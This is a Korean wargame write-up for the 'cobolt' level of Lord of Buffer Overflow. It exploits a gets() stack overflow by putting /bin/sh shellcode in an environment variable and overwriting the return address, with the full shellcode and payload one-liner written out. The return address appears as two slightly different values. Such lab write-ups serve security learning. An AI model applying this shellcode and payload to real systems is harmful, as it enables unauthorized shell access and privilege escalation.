[LOB] cobolt
cobolt로 로그인한 후에 문제를 확인하면 다음과 같다.
전의 문제와 다른점은 입력을 main함수 인자로 받은게 아니라 gets함수로 입력하는 것이다.
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
코드를 확인하면.
buffer의 크기는 16bytes이지만, gets(buffer);을 보면 길이에 제한이 없기 때문에 이곳에서 bof가 일어난다.
gdb로 goblin 파일을 확인해 보면
sub $0x10, %esp을 통해서 변수로 0x10이 할당된다는 것을 알 수 있다.
(16진수) 0x10 → (10진수) 16
변수의 크기도 16bytes이기 때문에 buffer와 sfp 사이에는 dummy 값이 없다는 것을 알 수 있다.
스택 구조를 그리면 아래와 같다.
변수의 크기도 작기 때문에 직접 쉘을 넣기는 어럽고 환경변수를 이용해서 쉘을 얻는 방법으로 문제를 풀어야한다.
이문제를 풀기 위해서 환경변수에 쉘을 저장한 뒤, 해당 주소를 얻어내서 RET에 덮어쓰도록 한다.
1. 우선 쉘코드를 환경변수에 넣는다.
쉘코드 :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
2. 그리고 쉘이 있는 주소를 얻어낸다.
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
그러면, 쉘의 주소가 0xbffffe9c 인 것을 알 수 있다.
3. 페이로드를 작성하면,
buffer(16bytes) + sfp(4bytes) + ret(4bytes) 에서
1) buffer + sfp ☞ 20bytes에 "A"를 채움
2) ret ☞ 쉘주소 0xbffffe97 삽입
4. main함수의 인자가 아니라 함수안에 있는 또다른 함수로 인자값을 받기 때문에
리다이렉터(|)와 cat을 이용해서 입력값을 넣어 주어야 한다.
페이로드를 작성하면 아래와 같다.
(python -c 'print "A"*20+"\x9c\xfe\xff\xbf"';cat) | ./goblin
성공!